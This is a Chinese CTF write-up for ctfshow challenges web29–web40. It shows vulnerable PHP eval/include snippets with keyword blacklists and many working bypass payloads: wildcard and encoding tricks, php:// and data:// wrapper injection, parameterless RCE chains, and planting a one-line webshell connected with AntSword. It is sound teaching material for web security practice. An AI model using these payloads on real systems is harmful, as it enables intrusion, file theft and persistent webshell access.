web29~web40
在做ctfshow题目的时候学到了一点东西,在这里做个知识分享
web29
<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
eval()是php的代码执行函数,把传进去的字符串当做php代码执行
这题题目要求为:传进去的字符串中不能出现flag,通过get传参
一般我的做法是先查目录,再根据flag在哪个文件里面,之后再选择绕过技巧去获取flag
这道题比较简单,但主要是想通过这道题先分享一些函数方法,方便看懂后面的题解,希望大家耐心看完
先查目录,有以下几种方法
print_r(scandir(getcwd())) // 再不用传参数的时候看目录结构,非常方便,用php函数来查看目录// 使用命令执行函数来查看当前目录// 需要知道 system() passthru() exec() shell_exec() 还有反引号``这几个命令执行函数?c=system(\'ls\'); // 查看当前目录文件?c=system(\'ls -la\'); // 查看详细信息+隐藏文件 ?c=passthru(\'ls\'); // 直接输出目录内容?c=passthru(\'ls -la\'); // 显示详细信息// system() 和 passthru()都能直接输出, 而exec()和shell_exec()需要配合输出函数来使用?c=exec(\'ls\', $output); print_r($output); // exec()需要配个数组才能输出目录的详细信息?c=echo exec(\'ls\'); // 这样只会输出当前目录下最后一个文件名?c=echo shell_exec(\'ls\'); // 显示完整目录内容?c=echo shell_exec(\'ls -la\'); // 显示详细信息?c=echo `ls`; // 其实反引号可以看成是shell_exec()的语法糖?c=echo `ls -la`; ?c=echo `pwd`; // 显示当前路径// 最后放几个php的输出函数,它们的详细区别大家可以自行查阅?c=print(`pwd`); ?c=var_dump(`ls`); ?c=print_r(`pwd`); //换个输出方式// echo因为它的特殊性,可以不用跟括号?c=phpinfo(); // 查看PHP配置信息,这里用来查看有没有禁用什么函数 重点关注disable_functions项// 为什么会分享这么多呢?主要是当其中一个被禁用了,我们还能使用别的函数来解题
用上面这些payload检查完就知道flag在当前目录下 flag.php文件里面了
好了,接下来是这道题的绕过方法了,因为这道题几乎没有什么限制,所以可以有很多种做法
下面的绕过方法呢,我大致将他们分为 “不需要查看页面源代码” 和 “需要查看页面源代码”两种类型
需要知道几个函数和php的伪协议
highlight_file() 、show_source()用来高亮显示源码
php://filter/convert.base64-encode 目的:防止php代码执行,只读取base64编码后的内容
data://text/plain 目的:执行后面的PHP代码 text/plain代表纯文本
“不需要查看页面源代码” :
?c=highlight_file(\'fla\'.\'g.php\'); // 通过字符串拼接,绕过\'flag\'匹配检测?c=show_source(\'fla\'.\'g.php\');?c=system(\'tac fla*\'); // 调用命令执行函数,,倒序输出,使用*通配符匹配,绕过flag检测?c=system(\'tac fla*\'); // 使用?通配符匹配,绕过flag检测,*号匹配任意个,?号匹配单个字符?c=system(\"cp fl?g.php a.txt\"); // 使用cp命令,把flag.php文件的内容复制到一个1.txt文件里面,然后再访问 url/1.txt?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php // 参数传递绕过,这样题目对c的字符串检测就不起作用了,这个很常用// 把flag.php经过base64编码后的结果输出到屏幕上,然后再将结果base64解码后就可以拿到flag了?c=include \'data://text/plain,\'; //也是伪协议,用来执行后面文本内容中的代码,如果是纯文本内容就会输出?c=include \'data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=\'; // 这里也是伪协议,就是把后面的命令内容base64编码了,也是用来绕过某些题目的限制条件?c=system(\'tac \'.chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112)); // 字符拼接绕过,也是相当于把命令编码了,用来绕过某些题目的限制条件// 关于编码,php有超级多base64编码、hex编码、url编码、gzip编码、字符串替换等等,还有很多,其实原理就是把命令编码之后绕过题目的限制条件,大家可以自己去探索
“需要查看页面源代码”
readfile()输出flag.php的全部内容到浏览器,需要右键再查看页面的源代码
file_get_contents 返回flag.php的全部内容作为一个字符串变量,所以要配一个输出函数
?c=readfile(\'fla\'.\'g.php\'); // 把文本内容输出到页面,因为php标签的原因,需要查看页面源代码 ?c=echo file_get_contents(\'fla\'.\'g.php\'); ?c=system(\'cat fla*\'); // cat也是直接输出文本,,所以还要再查看页面源代码?c=system(\'cat fla?.php\'); // 一样是通配符绕过 ?c=eval($_GET[1]);&1=readfile(\'fla\'.\'g.php\'); // 通过参数传递绕过检测,然后再执行命令?c=eval($_GET[1]);&1=system(\"cat fla?.php\");?c=$a=\'fla\';$b=\'g.php\';readfile($a.$b); // 构造变量绕过
下面就是这道题的一点骚操作了
写马连马
file_put_contents函数用来写入文件
?c=file_put_contents(\"ant.php\", \'\'); // 直接往网站里面写一个基础的一句话木马,然后通过hackbar的post传参,或者再直接用蚁剑去连接就行c=system(\'echo -e \" a.php\'); //开启转义,这个也能写就是上面的好用// 因为这道题目的原因,访问url?c=eval($_POST[1]);,然后密码为1,也能连上
url连接地址:http://c72de2d7-a4b4-4389-b9e5-0daeda69d800.challenge.ctf.show/ant.php
连接密码:ant
其实这道题目特别简单,没必要花这么久时间,但根据上面的知识点,看下面的payload就比较简单了
反正就是这个函数被禁用了,就换另一个,禁用的多了,就找函数链
下面这些题都是查过目录知道flag在当前目录下的flag.php文件里面的,查看目录的方法上面已经提到了
web30
<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
这题题目要求为:传进去的字符串中不能出现关键词flag、system、php(不区分大小写)
?c=passthru(\'tac fl*\'); // system()函数被禁用,还可以用passthru函数来执行命令?c=echo `tac fla*`; // 记得反引号也是命令执行?c=highlight_file(base64_decode(\"ZmxhZy5waHA=\")); // 加一层编码绕过,flag.php的base64编码为ZmxhZy5waHA=?c=show_source(scandir(\".\")[2]); // 查看目录,通过数组索引访问// 可以先?c=print_r(scandir(\".\"));查看目录结构得到Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) // 还有很多,原理都差不多,不赘述了
web31
<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
屏蔽了flag、system、php、cat、sort、shell、点号(.)、空格( )、单引号(\')
?c=eval($_GET[1]);&1=system(\"tac flag.php\"); // 参数传递绕过?c=show_source(scandir(getcwd())[2]); // 通过目录数组索引实现?c=passthru(\"tac%09fla*\"); // 用%09 Tab键 代替空格键?c=highlight_file(base64_decode(\"ZmxhZy5waHA=\")); // 又是编码绕过
web32
<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
屏蔽内容:flag、system、php、cat、sort、shell、点号(.)、空格( )、单引号(\')、反引号(`)、echo、分号(;)、左括号(()
这题左括号被屏蔽了,函数就用不了了,要想到伪协议
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // 使用伪协议 + 参数传递?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // %0a是回车符,空格被过滤用回车是OK的,但其实也可以不用写,反正php能够解析?c=include$_GET[1]?>&1=data://text/plain,<?php system(\'tac flag.php\');// 参数传递绕过 + data伪协议
web33
<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(|\\\"/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
屏蔽内容:flag、system、php、cat、sort、shell、点号(.)、空格( )、单引号(\')、反引号(`)、echo、分号(;)、左括号(()、双引号(\")
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // 跟刚才一样?c=include$_GET[1]?>&1=data://text/plain,<?php system(\'tac flag.php\');// 文件包含 + data伪协议
web34
<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(|\\:|\\\"/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
屏蔽内容:flag、system、php、cat、sort、shell、点号(.)、空格( )、单引号(\')、反引号(`)、echo、分号(;)、左括号(()、双引号(\")、冒号(:)
新增过滤:冒号(:),这会阻止data协议等包含冒号的payload
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // 依旧是参数传递绕过检测?c=include$_GET[1]?>&1=data://text/plain,<?php system(\'tac flag.php\');// 既然通过参数传递绕过检测,那后面1=就有无数种方法了,不再赘述
web35
<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(|\\:|\\\"|\\<|\\=/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
屏蔽内容:flag、system、php、cat、sort、shell、点号(.)、空格( )、单引号(\')、反引号(`)、echo、分号(;)、左括号(()、冒号(:)、双引号(\")、小于号(<)、等号(=)
小于号(<)和等号(=)
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // 得到结果再base64解码?c=include$_GET[1]?>&1=data://text/plain,<?php system(\'tac flag.php\');// 万能参数传递
web36
<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(|\\:|\\\"|\\<|\\=|\\/|[0-9]/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
屏蔽内容:flag、system、php、cat、sort、shell、点号(.)、空格( )、单引号(\')、反引号(`)、echo、分号(;)、左括号(()、冒号(:)、双引号(\")、小于号(<)、等号(=)、斜杠(/)、所有数字(0-9)
这里吧斜杠(/)和所有数字(0-9)屏蔽了,其实还是可以用刚才的做法
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php // 得到结果再base64解码// 这里把原来的数字改为了a,因为$GET[]里面其实可以写个字母,不用写引号也能执行的?c=include$_GET[a]?>&a=data://text/plain,<?php system(\'tac flag.php\');// 改个参数继续进行参数传递
web37
//flag in flag.php 提示内容<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag/i\", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);}
屏蔽内容:flag(不区分大小写)
用include($c)包含文件
然后echo $flag输出flag变量
?c=data://text/plain,<?php system(\'tac fl*\');?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4= // 经过base64编码后的结果为: PD9waHAgIHN5c3RlbSgidGFjIGZsYWcucGhwIikgPz4= // include的话,后面加一层编码就能继续绕过了// 至于后面选择哪些命令,又有无数种解法了,反正加个编码就行
web38
<?php//flag in flag.phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|php|file/i\", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);}
屏蔽内容:flag、php、file(不区分大小写)
继续文件包含
<?= 是PHP短标签,等价于 <?php echo
?c=data://text/plain,;// php关键字被过滤了,可以采用这个短的php标签
web39
<?php//flag in flag.phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag/i\", $c)){ include($c.\".php\"); } }else{ highlight_file(__FILE__);}
屏蔽内容:flag(不区分大小写)
会自动在参数后添加.php后缀
这里用data协议就行了,因为只会执行文本里面的php代码,其他加进来的还是当纯文本输出
?c=data://text/plain,; // 法修散打?c=data://text/plain,; // 炸爽的尝试
web40
无参数RCE
<?phpif(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/[0-9]|\\~|\\`|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\=|\\+|\\{|\\[|\\]|\\}|\\:|\\\'|\\\"|\\,|\\|\\/|\\?|\\\\\\\\/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
屏蔽内容:数字(0-9)、波浪号(~)、反引号(`)、@、#、$、%、^、&、*、中文括号(())、减号(-)、等号(=)、加号(+)、大括号({})、中括号([])、冒号(:)、单引号(\')、双引号(\")、逗号(,)、小于号()、斜杠(/)、问号(?)、反斜杠(\\)
不要被题目吓傻了,仔细看的话这里其实屏蔽的是中文括号,函数调用还是能用的,但是冒号和斜杠被屏蔽了,这题要会无参数RCE了
-
localeconv()链
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv() → pos() → scandir() → array_reverse() → next() → show_source()
函数 功能 返回值 在链中的作用 localeconv() 获取本地化格式信息 [\"decimal_point\"=>\".\", ...] 生成包含\".\"的数组 pos() 获取数组当前元素(=current()) \".\" 提取小数点符号作为目录名 scandir(\".\") 扫描指定目录 [\".\", \"..\", \"flag.php\", \"index.php\"] 获取当前目录文件列表 array_reverse() 反转数组顺序 [\"index.php\", \"flag.php\", \"..\", \".\"] 调整文件位置便于定位 next() 数组指针移到下一个元素 \"flag.php\" 跳过第一个文件获取目标 show_source() 显示PHP文件源码 输出flag.php内容 读取flag -
POST传参
GET: c=eval(array_pop(next(get_defined_vars())));
POST: 1=system(\'tac fl*\');POST传参 → get_defined_vars() → next() → array_pop() → eval()
函数 功能 返回值 在链中的作用 get_defined_vars() 获取当前作用域所有变量 [\"_GET\"=>[...], \"_POST\"=>[\"1\"=>\"system(...)\"], ...] 获取包含POST数据的变量数组 next() 跳到下一个数组元素 [\"1\" => \"system(\'tac fl*\')\"] 跳过GET,获取_POST数组 array_pop() 弹出数组最后一个元素的值 \"system(\'tac fl*\')\" 提取POST传入的命令 eval() 执行PHP代码字符串 执行系统命令 执行提取出的恶意代码 -
getcwd()链
?c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() → scandir() → array_reverse() → next() → show_source()
getcwd() 获取当前工作目录完整路径 \"/var/www/html\" 获取目录路径 scandir() 扫描指定目录 [\".\", \"..\", \"flag.php\", \"index.php\"] 获取目录文件列表 array_reverse() 反转数组顺序 [\"index.php\", \"flag.php\", \"..\", \".\"] 调整文件位置 next() 移动到下一个数组元素 \"flag.php\" 跳过第一个获取目标文件 show_source() 显示PHP文件源码 输出flag.php内容 读取flag
累了,后面的以后再更新,我要去吃麦当劳了
QQ号:2784688636
希望能认识多点朋友 我正在学习web,目前水平不高,但是在努力中